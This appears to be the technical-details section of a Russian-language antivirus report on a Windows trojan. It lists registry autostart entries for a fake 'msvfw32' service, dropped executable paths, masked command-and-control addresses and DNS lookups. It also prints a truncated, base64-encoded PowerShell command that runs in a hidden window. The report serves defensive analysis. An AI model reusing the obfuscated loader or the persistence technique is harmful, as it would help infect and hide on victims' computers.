Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msvfw32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msvfw32] 'ImagePath' = '"%WINDIR%\SysWOW64\framedynos\msvfw32.exe"'
- 'msvfw32' "%WINDIR%\SysWOW64\framedynos\msvfw32.exe"
- 'msvfw32' %WINDIR%\SysWOW64\framedynos\msvfw32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABRAGMAawA4ADIAOAB2AD0AKAAoACcAUgAnACsAJwBoAHgAZAAnACkAKwAnAHMAJwArACcAbwBqACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIATwBmAGkAbABFAFwAWABCADEAcgBxA...
- %HOMEPATH%\xb1rqmo\cj2z2jp\tlylng.exe
- %WINDIR%\syswow64\framedynos\msvfw32.exe
- %HOMEPATH%\xb1rqmo\cj2z2jp\tlylng.exe в %WINDIR%\syswow64\framedynos\msvfw32.exe
- '24.##.32.186':80
- http://wi##dev.com/uglot/iiClU/
- http://24.##.32.186/QKxCW9m3/
- DNS ASK 1p####agency.com
- DNS ASK wi##dev.com
- DNS ASK en###.enkj.com
- '%HOMEPATH%\xb1rqmo\cj2z2jp\tlylng.exe'
- '%WINDIR%\syswow64\framedynos\msvfw32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABRAGMAawA4ADIAOAB2AD0AKAAoACcAUgAnACsAJwBoAHgAZAAnACkAKwAnAHMAJwArACcAbwBqACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIATwBmAGkAbABFAFwAWABCADEAcgBxA...' (со скрытым окном)